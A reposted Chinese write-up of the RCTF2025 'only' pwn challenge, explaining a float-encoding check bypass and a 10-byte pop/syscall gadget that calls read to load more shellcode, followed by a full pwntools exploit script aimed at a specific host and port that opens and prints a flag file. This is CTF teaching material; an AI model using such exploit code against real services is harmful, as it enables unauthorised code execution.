WriteUp|RCTF2025-only

admin 2026-03-18 01:59:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文是RCTF2025only题目的解题报告。主要难点在于绕过浮点数校验与受限的shellcode写入空间。作者通过构造特定浮点数通过检查,并利用pop指令链在10字节限制下调用read系统调用,从而注入完整shellcode读取flag。文档提供了关键函数逆向分析、浮点数构造方法及完整的漏洞利用代码,具有较强的实操参考价值。 综合评分: 88 文章分类: CTF,二进制安全,逆向分析,漏洞POC


cover_image

WriteUp | RCTF2025-only

凌日网络与信息安全团队

2026年3月3日 22:03 重庆

免责声明:文章涉及内容仅供安全研究与学习之用,若将文章相关内容做其他用途,由使用者承担全部法律及连带责任,作者及发布者不承担任何法律及连带责任。信息及工具收集于互联网,真实性及安全性自测!!

主要的突破点在sub_18BC函数中,这里需要我们输入的浮点数的 8 字节二进制表示与 “0xD0E0A0D0B0E0E0F” 完全相等(小端)。可以用python的struct模块来计算

import struct

x = 0xD0E0A0D0B0E0E0F

d = struct.unpack(‘<d’, struct.pack(‘<Q’, x))[0]

print(d) # 8.592564544313935e-246计算后的结果

进入之后,给了你两个选项,主要在前一个选项中,这部分给你开辟了一块内存空间,可能是给你放你的shellcode,后面分析,一开始注入了一些其实数据但其实是清空寄存器,程序这里给了我们10字节的自由输入空间,由于分配的10字节空间太少我们无法构造完整的shellcode,所以我们考虑如何调出read的系统调用,这样我们可以续写shellcode,由于空间分配少,我们去考虑一些字节占用少的指令比,这里用到pop,在这之后只需要计算好输入位置到执行下一条指令的偏移量,覆盖后注入新的 shellcode 即可 。

EXP如下

1. from&nbsp;pwn&nbsp;import*

3. context.update(arch="amd64",&nbsp;os="linux",&nbsp;log_level="debug")

5. TARGET_HOST&nbsp;="101.245.98.115"
6. TARGET_PORT&nbsp;=26100

8. def&nbsp;launch():

10. return&nbsp;remote(TARGET_HOST,&nbsp;TARGET_PORT)

12. def&nbsp;prepare_menu(io):

14. io.sendlineafter(b"3.exit",&nbsp;b"2")
15. io.sendlineafter(b"input:",&nbsp;b"8.592564544313935e-246")
16. io.sendlineafter(b"Make a choice:",&nbsp;b"1")

18. def&nbsp;fire_gadget(io):
19. gadget_bytes&nbsp;=&nbsp;bytes.fromhex("5b5b5a5b585e0f05")
20. io.send(gadget_bytes)

22. def&nbsp;send_shellcode(io):

24. shell_asm&nbsp;="""
25. push 0x67616c66 &nbsp; &nbsp; &nbsp;;
26. mov &nbsp;rdi, rsp
27. xor &nbsp;esi, esi
28. push 2
29. pop &nbsp;rax
30. syscall &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;;
31. mov &nbsp;rdi, rax
32. mov &nbsp;rsi, rsp
33. mov &nbsp;edx, 0x100
34. xor &nbsp;eax, eax
35. syscall &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;;
36. mov &nbsp;edi, 1
37. mov &nbsp;rsi, rsp
38. push 1
39. pop &nbsp;rax
40. syscall &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;;
41. """

43. nop_pad&nbsp;=&nbsp;b"\x90"*0x32
44. shell_bytes&nbsp;=asm(shell_asm)
45. payload&nbsp;=&nbsp;nop_pad&nbsp;+&nbsp;shell_bytes

47. io.send(payload)

49. def&nbsp;main():
50. io&nbsp;=&nbsp;launch()
51. prepare_menu(io)
52. fire_gadget(io)
53. send_shellcode(io)
54. io.interactive()

56. if&nbsp;__name__&nbsp;=="__main__":
57. main()

免责声明:文章涉及内容仅供安全研究与学习之用,若将文章相关内容做其他用途,由使用者承担全部法律及连带责任,作者及发布者不承担任何法律及连带责任。信息及工具收集于互联网,真实性及安全性自测!!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:凌日网络与信息安全团队 《WriteUp | RCTF2025-only》

    WriteUp|RCTF2025-only 网络安全文章

    WriteUp|RCTF2025-only

    文章总结: 本文是RCTF2025only题目的解题报告。主要难点在于绕过浮点数校验与受限的shellcode写入空间。作者通过构造特定浮点数通过检查,并利用p
    评论:0   参与:  0